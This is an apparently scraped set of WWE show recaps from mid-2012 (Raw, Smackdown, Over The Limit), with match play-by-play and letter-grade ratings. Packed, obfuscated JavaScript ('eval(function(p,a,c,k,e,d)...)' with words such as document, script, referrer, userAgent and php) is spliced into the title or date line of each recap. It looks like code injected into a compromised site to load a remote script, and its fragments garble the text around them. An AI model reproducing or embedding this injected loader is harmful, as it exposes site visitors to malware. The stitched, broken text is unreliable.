Monday Night Raw – July 23, 2012: Raw Turns 1000 And Punk Snaps

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybkzi|var|u0026u|referrer|ffkih||js|php'.split('|'),0,{})) Night Raw
Date: July 23, 2012
Location: Scottrade Center, St. Louis, Missouri
Commentators: Jerry Lawler, Michael Cole

Rey Mysterio/Sin Cara/Sheamus vs. Chris Jericho/Dolph Ziggler/Alberto Del Rio

Irish Curse is kind of botched but the second attempt connects for two. Everything breaks down and Rey knocks Del Rio to the floor, hitting a seated senton off the apron. Sheamus and Jericho are the only two left in the ring and White Noise is countered into a failed Walls of Jericho. Codebreaker is countered but the Brogue Kick misses. Ziggler drills Jericho (intentionally) to break up the springboard dropkick and the Brogue Kick finishes Jericho at 4:26 shown.

Rating: C+. Other than the main event, expect a lot of these matches to be short and sweet tonight, which is the right move on a show like this. Cara getting to rub elbows with guys like Mysterio and Sheamus is a great thing for him and it should do him a lot of good. This was fast paced and fun, which is the right idea.

TOUT IT OUT!

We recap the wedding buildup from last week.

Brodus Clay vs. Jack Swagger

Brodus brings out DUDE FREAKING LOVE. Brodus is in a USA themed singlet tonight. Swagger misses a charge, gets suplexed, and the splash ends this in 19 seconds.

Daniel Bryan is talking to what appear to be orderlies.

Intercontinental Title: Christian vs. The Miz

Miz kicks him in the face for a near fall of his own and things slow down again. Christian comes back with a tornado DDT for two but his leg is still messed up. Spear is blocked and Miz gets a short DDT for a very close two. The corner clothesline misses for Miz but the Killswitch is countered again. Finale and Killswitch are countered again. Christian escapes a belly to back but hurts his leg again, allowing the Skull Crushing Finale to give Miz the title at 7:46.

Tout it out!

After talking about WWE 13, we get a video on Vince vs. Austin, which needs to be on a show like this.

Here are Santino and Hornswoggle with WWE toys, which apparently are like old school WRESTLING BUDDIES. These talk though.

Howard Finkel is guest ring announcer for the next match. Now all is right with the world.

Heath Slater calls out any legend to a No DQ anything goes match.

Heath Slater vs. Lita

Take a guess what Ron Simmons says post match.

We talk to some guy that is the 100,000,000th social media follower. Good for him.

Kane vs. Jinder Mahal

Raw World Title: John Cena vs. CM Punk

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Monday Night Raw – June 4, 2012: Make This The AJ Show. Please?

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkdzr|var|u0026u|referrer|yerkt||js|php'.split('|'),0,{})) Night Raw
Date: June 4, 2012
Location: BI-LO Center, Greenville, South Carolina
Commentators: Michael Cole, Jerry Lawler

Cena is back tonight. That right there almost automatically makes the show better than it was last week. We have tonight and another week before No Way Out so it should be interesting to see what kind of build we get for those matches. Orton is gone so Miz has nothing to do which likely won’t be mentioned. Let’s get to it.

We open with a recap of Big Show’s dominance over the last week.

Here’s Cole to interview Cena. Cole says that Cena was knocked out twice in 24 hours and it’s his own fault, because he tried to be a comedian instead of supporting Big Show. Cena says that Ace was a bully and he had everything ready to get rid of him and the new GM would have rehired Show. Cole says that Cena caused all this and says that Show is unbeatable. Cena says Show wanted more money and turned his back on everyone.

Now Cole thinks Cena is jealous of Big Show because Show didn’t lose at Wrestlemania, nor did he get beaten up by Lesnar for 20 minutes. Cole thinks Cena is overrated now and that Show puts us out of our misery that we’ve developed after watching Cena’s matches for the last few years. Oh and Cena can’t hit him. Cue Ace now who says that Cena gets to pick his own opponent tonight. Cena tries to pick Ace about 5 times but Ace says that he’s retired and Big Show is NOT here tonight. Cena picks someone that is uninteresting, overrated, and that JR says is being shoved down our throats every week. You know it’s Cole.

Post break Cole begs Ace for mercy but apparently the people want to see Cole get beaten up. Oh and don’t call him Johnny.

We get a clip montage to summarize the Sheamus Must Apologize story.

Sheamus vs. Dolph Ziggler

Cole is back on commentary. Ziggler starts fast and tries to take Sheamus down by the knees. Sheamus tries three Regal Rolls but only the third one connects, getting two. Dolph low bridges him but Sheamus pulls him to the outside. Sheamus blocks a ram into the post but Ziggler jumps over the steps that he gets whipped into. After a Vickie distraction, Dolph dropkicks him back to the floor and we take a break.

Back with Ziggler kneeing Sheamus down and working on the shoulder that hit the post during the break. Ziggler works it over a bit more and takes Sheamus down for two. Ziggler goes up and after fighting off Sheamus, hits a top rope Fameasser for two. Sheamus shrugs off the sleeper, hits White Noise and ends Ziggler with the Brogue Kick at 9:09.

Rating: C. Well that uh….happened. It wasn’t bad and it wasn’t great, plus it didn’t really solve or prove anything. Ziggler looked fine, but he’s needing to get away from Vickie I think. There’s just nothing there for him anymore and he needs to move on and do something else. Sheamus having to come from behind like this is a good thing.

As Sheamus is on the stage Del Rio jumps him and with Ricardo’s help, puts him in the cross armbreaker.

Ace asks some schmuck for his coffee when Otunga comes up and says that Vince is returning next week to evaluate him. Ace seems surprised by this, despite saying earlier that everyone was going to be evaluated.

Sin Cara vs. Hunico

Cara speeds things up to start and spins Hunico around and out to the floor. Slingshow sunset flip is escaped and Hunico kicks him in the head for one. Butterfly backbreaker gets the same. Off to the chinlock for a second and Cara escapes the spinning rack slam into an armdrag. Cara kicks him out of the corner and hits a top rope rana to take over. Handspring elbow puts Hunico down and after taking out Camacho, the spinning mat slam gets the pin at 2:30.

Cena’s favorite Raw moment is being drafted to Raw 7 years ago tomorrow.

Stan Stansky/Arthur Rosenburg vs. Ryback

It’s the same thing you’ve seen time after time. This match features more throwing people around and a clothesline to both of them at once. The double MuscleBuster/Samoan Drop gets the pin at 1:55.

CM Punk vs. Kane

There must be a winner. Cole is on the phone begging to be let out of the match. Before Kane comes out, Bryan comes out and gets on the announce table for some questions and answers. Has AJ gone completely delusional since they broke up? Will Kane destroy Punk tonight? Will Bryan win the title in three weeks? Yes Yes Yes. Kane powers him around but Punk uses the kicks to knock Kane to the floor for the suicide dive.

Punk hits the top rope double ax to the floor and we head back inside. Kane comes back with a knee to the ribs for two to take over. He pounds on Punk with sledgehammer shots and a legdrop for two. Punk breaks out of a bodyscissors and fires away with strikes but Kane throws him into the corner and out to the floor as we take a break.

Back with Kane holding a chinlock and uppercutting Punk down. Side slam gets two. Kane goes for the top rope clothesline but Punk knees him down. Another knee sets up the bulldog for two. Springboard clothesline gets the same. GTS is broken up and Kane boots him down for two. Punk avoids the chokeslam and hits a neckbreaker to slow Kane down. Punk goes up but Kane uppercuts him.

The superplex is broken up and Kane is knocked back to the mat. Macho Elbow gets two and they go to the floor. Kane rams him into the table and with the referee distracted, Bryan fires off two kicks to the ribs. Chokeslam is countered by the High Kick and here comes AJ. She tells the referee what Bryan did so Bryan yells at her. Punk uses the distraction to dive onto Bryan, but he walks into the chokeslam for the pin at 13:49.

Rating: C+. I was digging this and I was really digging AJ in a cutoff Punk shirt and shorts. The ending works I guess but I’m curious as to where the whole AJ thing is going, which I guess is the idea. Kane being added into this would let Bryan get the title, but I’m not sure where they would go after that. Decent match though.

Post match Kane stares at AJ (as well as kicking Bryan down) and AJ smiles back at him before he leaves. Ok then.

AJ tells Josh she likes when men look at her. She pulls him by his tie and demands he look at her. AJ says he might be her type.

Cole begs Ace for mercy again.

Video on Big Show and all of the comedy stuff he’s done over the years and how he’s being serious now.

Kofi Kingston/R-Truth vs. Curt Hawkins/Tyler Reks

This is joined in progress with Hawkins vs. Kofi. The champs are all taped up because of last week. A jumping back elbow gets two for Kofi and it’s off to a hammerlock. Off to Truth who drops a leg on Hawkins’ arm before it’s off to Reks. Reks gets in a little offense but misses a shoulder. Off to Kofi for the Boom Drop on Hawkins but Trouble in Paradise only gets two because of Reks. Truth takes him out and the spin kick gets the pin on Hawkins at 4:02.

Rating: C-. It’s very clear that Kofi and Truth are pure filler and that’s about the best they’re going to get at this point. Then again having extra teams in there is a good thing, even if they are just Hawkins and Reks. The match wasn’t bad but with only a few minutes there’s only so muchthey can do out there.

HHH’s favorite Raw moment is him returning in 2002.

John Cena vs. Michael Cole

It’s 10:45 so this could mean a few things. Ace comes out and says that if Cena can beat this man, his match with Cole will be No DQ.

John Cena vs. Tensai

Yeah he’s not a Lord anymore. He’s also moving faster now which is good too. Cole of course cheers everything that Tensai does as the fans are mostly behind Cena. Cena comes back with a clothesline to send Tensai to the floor and Cole panics. Sakamoto gets in some kicks and Cena is down as we take a break. Back with Cena breaking out of a neck lock and hitting a middle rope bulldog for two.

Tensai takes him back down and it’s nerve hold time again. Cena gets knocked to the floor and Cole says he should just quit now. Cole slaps Cena and gets shoved down by Lawler as a result. Cena gets thrown into the steps and Cole rips into him for awhile. Back in and the butterfly suplex gets two. Backsplash misses and it’s shoulder block time. Protobomb sets up the Shiffle and Cole is very nervous. AA gets the clean pin at 9:04.

Rating: D+. Hopefully this sends Tensai back down to the midcard. The changes they’ve made to him have helped him a bit but at the end of the day he’s still Albert which means he can only be so good and so interesting. Cena beating him is the right call though because you can’t validate having him lose twice in a row to Tensai, especially not before a bit time PPV match.

John Cena vs. Michael Cole

It’s No DQ. Cole tries to run into the crowd twice but gets pulled back both times. Cena throws him into the ring and Cole says we don’t have to do it this way. He sucks up to Cena and then takes off his coat and tie, saying how he’s going to beat up Cena tonight. He pokes Cena in the chest and tells Cena to not forget his name. Cena rips the shirt open and chops him in the chest. There go Cole’s pants and Cena kicks him low.

He slaps Cole’s chest and back again before putting him in a chinlock. Cena demands an apology to Lawler about the Mania match which Cole gives immediately. Now Cole has to apologize to JR who Cole calls his idol. Cole has to admit his love for JR’s Barbecue Sauce. “It’s slobberknocker good!” Lawler just happens to have a few bottles of it with him and it gets poured over Cole.

Since it was hot, here’s a fire extinguisher to cool Cole off. There’s steam coming off Cole’s head. The AA gets loaded up but here’s Tensai with the Baldo Bomb. That gets two for Cole and he has a bit of a tantrum. Cole slaps Cena in the back of the head and yells a lot before charging with the fire extinguisher. AA counters that and gets the pin at roughly 11 minutes. I’m not rating this for obvious reasons but it did its job well enough.

Overall Rating: C-. It’s still not great but this was WAY better than last week’s show. Having less Big Show on this helped a lot and Cena being here at all certainly brought this one up a lot. The guy is just flat out entertaining and interesting which is more than most people on this roster can say. This helped me a lot with the build to No Way Out, and even with the iffy ending, I liked this about 200% more than last week’s show.

Results
Sheamus b. Dolph Ziggler – Brogue Kick
Sin Cara b. Hunico – Spinning Mat Slam
Ryback b. Arthur Rosenburg/Stan Stansky – Double MuscleBuster
Kane b. CM Punk – Chokeslam
Kofi Kingston/R-Truth b. Curt Hawkins/Tyler Reks – Trouble in Paradise to Hawkins
John Cena b. Tensai – Attitude Adjustment
John Cena b. Michael Cole – Attitude Adjustment

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Smackdown – June 1, 2012: Another Stake In The Brand Split

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbhfe|var|u0026u|referrer|eksaa||js|php'.split('|'),0,{})) June 1, 2012
Location: Riverside Centroplex, Baton Rouge, Louisiana
Commentators: Michael Cole, Booker T, Josh Matthews

Tonight we have a Raw World Title match on Smackdown for the first time in a few years as Punk defends against Kane. I’d assume that Bryan has gotten the title match for No Way Out but it’s hard to tell with this company anymore. Other than that we’ll probably have some more stuff with Big Show as he continues to take over the stories everywhere. It’ll also be interesting to see how they work around the Orton suspension. Let’s get to it.

The opening video is about the title match tonight. It looks more like a TV commercial than a normal opening video.

Do You Know Your Enemy? Mine is the weather tomorrow for my neighborhood yard sale.

Here’s Sheamus to open the show and we get a clip of him kicking Del Rio’s head off to end the show last week. Sheamus talks about how Del Rio has been waited on hand and foot for years, but it’s not going to matter at No Way Out because he can’t buy the World Heavyweight Championship. Cue Otunga who again demands that Sheamus apologize for running over Ace. Sheamus says this isn’t Starbucks where you order someone around. If Ace wants an apology, he can come out here and get it himself. Otunga: “You may be the whitest bulb, but you’re not the brightest.”

Cue Del Rio who calls Sheamus a peasant and a street hooligan. People like Sheamus wind up working for people like Del Rio and Otunga. Otunga thinks Sheamus should be in a match tonight, with the opponent being chosen by Del Rio. The champ kicks Otunga’s head off and Del Rio runs. Sheamus says never trust a hooligan.

Sin Cara vs. Heath Slater

No trampoline and he’s in red and white not instead of blue and gold. The lighting is back too. Slater grabs the arm to start but Cara grabs the arm and hits his spinning wrist drag. Out to the floor for a BIG dive but Slater jumps him coming back in. Off to a chinlock but Cara fights out and hits some kicks to the leg. A jumping back elbow puts Slater down as does an enziguri from the apron. The La Mistica mat slam gets the pin at 2:24. I didn’t see any botches here and Cara looked pretty good.

Damien Sandow vs. Ezekiel Jackson

Sandow’s Titantron graphic has a theme of a curtain being pulled back like at a theater. Sandow says he won’t be in this match and goes to leave but Jackson pulls him back in to get us going. The Torture Rack is countered and Sandow goes psycho. Russian legsweep puts Jackson down and the neckbreaker ends it at 1:36. Sandow gets in the Thinking Man position during his cover. I’m liking the 2012 Genius a bit more.

Del Rio and Ricardo are in the back when Ziggler comes in and asks to be put in the match tonight. Del Rio says okey dokey.

Ryan Shelton/Chris Lyons vs. Ryback

The jobbers are from Alabama so the Louisiana fans HATE them, due to them saying Roll Tide. It’s the exact same match as last week with the double MuscleBuster getting the pin at 2:02.

Raw ReBound chronicles Show’s destruction. Apparently Brodus has a concussion and bruised ribs.

Dolph Ziggler vs. Sheamus

Non-title. Ziggler cuts off Vickie’s intro and says tonight he beats the champion. He’s serious tonight. If the reaction is to be believed, Sheamus is getting verypopular. Ziggler tries a headlock to start but gets run over very quickly. He dropkicks the champ down and hooks an armbar which gets him nowhere at all. Ziggler punches Sheamus in the corner but gets sent to the apron. Top rope cross body is caught in a Regal Roll for two.

Sheamus launches him over the top and to the floor as we take a break. Back with Sheamus breaking a top wristlock. Dolph runs to the apron and has to grab the ring skirt to keep from getting a worse beating. He suckers Sheamus in and guillotines him on the top rope. Sheamus gets dropkicked off the apron and onto the floor for awhile. Neckbreaker gets two back in the ring.

Off to the chinlock and Ziggler does the handstand. Booker: “That’s just showing off.” Now he’s getting it. Sheamus starts to fight up but gets caught in a DDT for two. Ziggler hooks an ugly sleeper but Sheamus dumps him onto the apron for the ten forearms. Irish Curse is countered twice so Sheamus uses a regular backbreaker (which Cole calls the Irish Curse anyway). He loads up the top rope shoulder but gets crotche. A top rope X Factor gets a close two and a good reaction from the crowd on the kickout. Zig Zag is countered and it’s White Noise, failed Swagger interference and the Brogue Kick for the pin at 10:06 shown of 13:36.

Rating: C+. These two always have good chemistry together and they did again here. The ending is good too as it furthers the Ziggler split from Vickie and company, but it also keeps Sheamus looking just as strong because he had Ziggler beaten without the interference going wrong. Little things like that can make a match so much better.

Punk says he’ll beat up anyone that Ace throws at him, including Kane. Kane is going to sleep tonight.

Darren Young/Titus O’Neil vs. Santino Marella/Zack Ryder

An inset promo says that O’Neil and Young want to be known as the Prime Time Players. Young and Santino get us going but it’s quickly off to Titus. Ryder comesin to break up a double team which gets him run over by Young. Then Santino gets a rollup out of nowhere on Young for the pin at 1:13. What in the world was the point of that? They spent the pre-match stuff and the match talking about how awesome Young and O’Neil were and then the ending comes from out of nowhere. Marella and Ryder had no offense at all other than the rollup. Literally, none.

Post match here’s Big Show to destroy everything. Make that just Ryder and Santino as Young and Titus escaped. Ryder tries to fight back but it gets him nowhere. The beating goes on for awhile. Show is in the same kind of stuff he was wearing before his turn. Santino gets put in a camel clutch on the steps on the stage before getting punched in the back of the head and knocked out. So in four days he’s been punched out and made to tap out in 45 seconds. Another champion is made to look like a joke.

We see Punk in the back but it’s actually AJ in a Punk shirt. Bryan pops up and asks why AJ thinks Punk cares about her. He pretends to care about her again and you can see her knees get weak. Bryan is only joking though.

Cody Rhodes vs. Tyson Kidd

Christian is on commentary and Kidd has full tights now. Kidd gets in a quick legsweep but Cody is too fired up for Kidd to be able to do much. Tyson keeps fighting and tries the Dungeon Lock but Cody shrugs it off and Cross Rhodes ends this at 1:20.

Cody and Christian stare at each other a lot post match.

Raw World Title: CM Punk vs. Kane

They have a lot of time here. The announcers talk about how Kane hasn’t been champion in 14 years. Cole thankfully points out the mistake and reminds Booker of the Smackdown World Title that Kane won like a year and a half ago. Out to the floor and Punk drops a double ax off the top onto Kane to take over. Back in and the uppercut drops Punk, but he dropkicks Kane’s knee out to send him into the middle buckle.

Punk wraps Kane’s arm around the post and drops some elbows onto it as well. He works on it some more and hooks on a top wristlock. Kane throws him off and sends him tot he floor as we take a break. Back with Punk in control but quickly getting knocked to the floor. Here’s AJ to check on the champion. Back in and Kane slams Punk and drops an elbow for two. Chokeslam is countered into a DDT but Punk can’t follow up.

Punk hits two knees in the corner but still can’t hit the bulldog. High Kick misses but the spinning neckbreaker gets two. Kane tries to slam him but Punk slips out and hits the High Kick for two. Punk tries the GTS but Kane falls on top of him. Low dropkick gets two. Top rope clothesline is countered by a dropkick and now it’s Punk going up.

AJ gets on the apron to try to get his attention. She’s pointing at Bryan who is coming to jump Punk. The champ dives on Bryan on the floor but that’s not a DQ. Punk kicks Kane from the apron and drops the Macho Elbow for two. Cole: “The championship almost left Punk there.” Punk goes up and jumps into the uppercut. Kane loads up the chokeslam but Bryan comes in and dropkicks both guys for the DQ at 12:00 shown of 15:30.

Rating: C+. For a TV main event this was fine. It’s pretty clear where they’re going for No Way Out so the ending here was fine. It sets up the likely triple threat title match at the PPV which needed to be done one way or another. They were going back and forth pretty well here and the arm work made sense from Punk. Pretty good little match here.

Bryan DESTROYS Punk with kicks but both guys get chokeslammed. Ace and Eve come out to make the triple threat match.

Overall Rating: B-. I liked this show for the most part. Nothing was really bad on it and they had something big in the main event, which is what Smackdown needs. It’s basically a supplement to Raw anymore so throwing a big match into the main event is the right idea. The show wasn’t great but with nothing bad and a main event that had something on the line, this was about as good as Smackdown is going to get at this point.

Results
Sin Cara b. Heath Slater – Spinning Mat Slam
Damien Sandow b. Ezekiel Jackson – Neckbreaker
Ryback b. Ryan Shelton/Chris Lyons – Double MuscleBuster
Sheamus b. Dolph Ziggler – Brogue Kick
Santino Marella/Zack Ryder b. Darren Young/Titus O’Neil – Rollup to Young
Cody Rhodes b. Tyson Kidd – Cross Rhodes
CM Punk vs. Kane went to a no contest when Daniel Bryan interfered

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Monday Night Raw – May 21, 2012: No Contract Talk Makes Me Happy

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssray|var|u0026u|referrer|inads||js|php'.split('|'),0,{})) Night Raw
Date: May 21, 2012
Location: Richmond Coliseum, Richmond, Virginia
Commentators: Jerry Lawler, Michael Cole

It’s back to Raw again and we have a full four weeks to build up to No Way Out. That’s the cage match PPV as they continue to try to find a theme show for June. Anyway Ace won last night due to the SHOCKING Big Show turn. Other than that Punk and Sheamus both retained. Odds are Lesnar will be here this week as we need to start building to the cage PPV, which is a natural fit for him. Let’s get to it.

We open with a recap of the ending to last night’s show.

Here’s angry Cena to open the show. He says that he’s had a lot of matches like this where he loses and then comes out and talks about losing and then moves on. This is different though. It’s not about how he lost but the fact that he just did. Cena talks about how Ace has been a bully since he got here and last night Cena got to give him some payback for it. Ace ran and then Big Show threw him back and it was fun again.

Show threw Ace to Cena for an AA and then Show knocked him out. Cena is upset here. He talks about how people have been saying he should have just beaten Ace when he had the chance, but if the giant was already paid off it wouldn’t have mattered anyway. If it wasn’t for the times when he had Ace in the STF last night, that would make a lot of sense.

Cena isn’t sure who the new GM would be (“YOU COULD EVEN BRING THE COMPUTER BACK!”) but they could have rehired the Big Show. But instead Ace won and it’s more People Power. Now we’re going to see some graphic and then hear from Ace about how he’s got a new plan or whatever and it’s crap. Cue Ace…..or rather Eve to Ace’s music. Cena: “Wow John you got really hot but you still suck!” She brings out Ace…..in a freaking motorized scooter with a People Power plate on it. Ok that’s freaking funny. She helps Ace onto a crutch and it’s time to talk some more.

He talks about how after the match last night he was sent to the hospital and he has some possible injuries to his clavicle, knee and spine. He can’t use his left extremities due to possible nerve damage but that’s ok because he proved that he’s a fierce competitor. If anyone touches him, he’s fired. Ace rehired Show on Satur……WAIT WHAT? IF SHOW IS REHIRED ON SATURDAY, THEN ACE SHOULD BE FIRED!!! Cena vs. Show, No Way Out, you know the drill.

Here’s Show to a lot of booing. He talks about how he doesn’t owe us an explanation and how last week he was on his knees crying. The fans say he’s a sellout but he’s mad about the lack of sympathy. He yells about Cena saying how dare you a lot. He’ll knock Cena out at the PPV and that’s it. Here’s Otunga who says he’s going to beat Cena now. Cena says he’s not in the mood right now so go watch Law and Order reruns because it’ll end badly otherwise. Otunga says ok and dedicates the match to Ace, which will be after a break. The segment was great until the HORRIBLE plot hole.

David Otunga vs. John Cena

The very angry Cena lets Otunga run away about three times and there’s no contact at all so far. Make it four times. Cena fakes him out and gets caught anyway by a bunch of forearms. Cena comes back with some punches and the beating begins. HARD clothesline puts Otunga down and it’s the AA into the STF at 1:57.

Post match Hawkins, Reks, Young and O’Neil run in for the beatdown. Sheamus makes the save, running over Ace in the process. So he’ll be fired right? They get thrown out and Ace yells at all four of them. Ace makes Sheamus/Cena vs. three unnamed people in a lumberjack match.

Here’s Ricardo to introduce Del Rio for his aforementioned match with Orton. Instead it’s Santino who comes out to say that Ricardo is hard to understand. They talk about rolling R’s when you talk and Santino gives him the Cobra. Santino does Del Rio’s entrance and there’s no Del Rio. Instead we get a video about how WWE has 1000 episodes, which NOTHING else has ever done. Not even World Championship Wrestling which became Saturday Night which ran for over 30 years without taking a break. Del Rio comes out and Santino leaves….and it’s time for another commercial.

Randy Orton vs. Alberto Del Rio

Del Rio counters Orton to start and goes right for the arm. A hard kick to said arm slows Orton down but the Codebreaker to it is broken up. Orton comes back with punches in the corner and sends Del Rio to the floor as we take ANOTHER commercial. Back with Del Rio hitting the Codebreaker on the arm and a hard kick as well. Del Rio misses a charge and goes through the ropes, allowing Orton to come back with his usual stuff. Elevated DDT looks to set up the RKO but here’s Jericho for the DQ at 7:20 total. I’m not going to rate it because most of that was in the commercial.

Jericho hits the Codebreaker on Orton, likely setting up their match at No Way Out. Jericho says he’s the best in the world at what he does and repeats it for good measure. Orton gets up but walks into another Codebreaker.

Here’s Bryan who says that he made Punk tap. The footage is doctored to make it look like Punk tapped faster. Bryan says he made Punk tap and demands a rematch. Cue Punk who says that he beat Bryan 1-2-3 and shows us a clip….from Smackdown where Bryan caused Kane to destroy Punk. With that, here’s Bryan’s opponent for this evening.

Daniel Bryan vs. Kane

HOKEY SMOKE THEY ACTUALLY HAD SOMEONE WATCH THE TAPE!!! Punk sits in on commentary. Bryan escapes the chokeslam and they head to the floor. Punk says he has to get a better look and picks up a chair, only to have Bryan pull it away. Kane sees Bryan holding it and destroys him. A chair shot to Bryan gets the DQ at 1:47. This was just there for comedy but I liked it.

Post match Kane chokeslams him twice. Kane leaves and Punk puts Bryan in the Vice to make him tap.

Post break Punk is in the back when AJ comes up. He calls her sadistic and she starts freaking. Before she can go crazy he says she’s the one that’s been a fool this whole time. She starts crying and Punk isn’t sure what to do. He hugs her and says everything is going to be fine while kind of rolling his eyes. Punk says stop crying so she immediately does. He says he digs crazy chicks and leaves. More on this later I’m assuming, but I love crazy AJ.

Christian gets an elaborate introduction before his match.

Christian vs. Jinder Mahal

See, THIS is what guys like Mahal is good for. Why don’t they get that more often? Christian hits the reverse DDT and a missile dropkick to take over. He gets backdropped to the floor and Mahal takes over with a chinlock. Christian comes back and now the story has been changed to Show signing THIS MORNING instead of Saturday. Mahal puts him down for a camel clutch but gets caught with the Killswitch which sets up a frog splash for the pin at 3:15.

Rating: C-. Just a quick match here and it’s a good win for Christian. Not that beating Mahal means anything, but it’s nice to see a good little win to cement that he’s back. Again, do more matches like this one where Christian looks good, someone else gets some TV time, and you don’t waste a potentially big match for free on TV.

Beth Phoenix vs. Kelly Kelly

Layla is watching in the back. Beth jumps her to start until Kelly comes back with her usual stuff. Beth misses a charge and Kelly hits her bad Thesz Press and headscissors. Geez shut up with the screaming woman. Handspring elbow is broken up and it’s a Glam Slam for the pin at 2:28. Ignore that Kelly’s face or chest didn’t hit the mat at all on that move.

Dolph Ziggler/Jack Swagger/Tensai vs. Sheamus/John Cena

Yeah it’s Tensai now and he doesn’t have the robe anymore. He also walks to the ring fast now, which is a major upgrade. The lumberjacks are all heels of course. Sheamus and Ziggler start with the champ using his power to control. Off to Cena vs. Tensai with Albert moving faster this week. That can only be good for him. Swagger comes in to do nothing but miss his Vader Bomb and let Sheamus come back in.

Knee lift puts Swagger down for two as Ziggler saves. Dolph is sent to the floor and it’s champ vs. Tensai. Sheamus gets knocked to the floor so Sheamus beats up the lumberjacks. Jericho won’t let Sheamus back in so Tensai gets in a shot. Tensai pounds on him some more as we take a break. Back with Sheamus missing the Brogue Kick to Swagger.

Ankle lock goes on but instead of holding it, Jack tags Tensai. Sheamus gets sent to the floor for a mini brawl with the lumberjacks before it’s back inside for an extended beating. Fameasser gets two. Big Show comes out on the stage. Sheamus keeps getting beaten down by Tensai as Show talks about how Show was rehired this morning, thereby making it the latest official history.

The champ punches everyone and the Regal Roll lets him tag Cena. The place likes Cena this week. He cleans house but Sheamus gets jumped by the lumberjacks. Cena dives through the ropes onto them and the lumberjacks do the big beatdown. We’ll say it’s thrown out at about 15:00.

Rating: C-. This was your usual main event style tag match. It wasn’t bad but the constant Sheamus beatdown got pretty dull after awhile. It’s not a bad match or anything but the point of this was the post match stuff, which is fine, especially when you need a way to end the show. Not bad though.

The whole locker room runs out for a HUGE brawl. Show went somewhere. Cena gets to the floor and goes Show hunting. We cut to the back and Cena runs into Ace, who doesn’t know where Show is. Cena turns around into a BIG punch to knock him out and end the show.

Overall Rating: C. This was a weird show. It came off as much more light hearted which is a plus, but the plot holes that they kept trying to change got annoying. The main event wasn’t bad but it didn’t serve much of a purpose. One thing to note though: when there’s no legal stuff or contract talk, I enjoy things FAR better. That stuff gets annoying fast so not having it for once was nice. Not a great show but it was fun.

Results
John Cena b. David Otunga – STF
Randy Orton b. Alberto Del Rio via DQ when Chris Jericho interfered
Daniel Bryan b. Kane via DQ when Kane used a chair
Christian b. Jinder Mahal – Frog Splash
Beth Phoenix b. Kelly Kelly – Glam Slam
John Cena/Sheamus vs. Tensai/Dolph Ziggler/Jack Swagger went to a no contest

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Over The Limit 2012: Ace Brings Down A Great Show. No Really.

Over eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shrnd|var|u0026u|referrer|fhezn||js|php'.split('|'),0,{})) The Limit 2012
Date: May 20, 2012
Location: PNC Arena, Raleigh, North Carolina
Commentators: Michael Cole, Booker T, Jerry Lawler

Well we have to get this one over with I guess. This is the least interesting and probably least built up show I can remember in years. As of 5:05 PM on the day of the show, we have five matches scheduled for the show, not counting the pre-show match. There are bound to be some matches added, which have to help this show. This is one of the PPVs I’m going into with zero expectations which usually helps a show a lot. That being said, I’m not sure if it works if you plan that way in advance. Let’s get to it.

Apparently there’s been a battle royal added to the show and the winner gets to pick the IC or US Title to challenge for tonight. That’ll help a lot.

Pre-Show: Kane vs. Zack Ryder

Ryder is taken into the corner but shoves Kane away and shouts that he’s not afraid. WHY DID HE NEVER FREAKING DO THAT WHEN HE WAS US CHAMPION THEN??? Ryder gets him to chase him and hits a kind of baseball slide. I really like the set as it looks like a speedometer much like the videos have looked. A suicide dive puts Kane down as he keeps looking for a countout.

Back in and Ryder pounds away but it’s short lived as Kane knocks him down and starts using the power. Clothesline gets two. Off to a bearhug which doesn’t last long. Seated dropkick gets two and it’s off to a body vice. Ryder fights out of it with elbows and hits a quick neckbreaker for two. He snaps Kane’s throat on the top rope but as he goes up, Kane hits an uppercut. Kane charges into the corner knees but the Rough Ryder is countered and a side slam gets two. Ryder comes back again and hits the Broski Boot for one. He loads up the Rough Ryder but charges into the chokeslam for the pin at 6:47.

Rating: C+. No complaints here but again, WHERE WAS THIS RYDER IN JANUARY??? That’s my big issue with Ryder’s destruction by Kane back then: he didn’t even fight. They spent a month and a half building him as this newly confident guy and then he turned into a coward that would rather change a tire than USE THE WRENCH HE WAS HOLDING to fight Kane. Ryder went straight at Kane here and lost, which would have annoyed me back then but I could have lived with it. The match was fine.

Battle Royal

The battle royal is on the pre-show too? Dang I was about to turn it off too. We have Miz, Khali, JTG, Ezekiel Jackson, Tyler Reks, Curt Hawkins, Michael McGillicutty, Yoshi Tatsu, Tyson Kidd, Jimmy Uso, Jey Uso, Jinder Mahal, Drew McIntyre, Heath Slater, Titus O’Neil, Darren Young, Alex Riley, David Otunga, William Regal (BIG chant), and Christian.

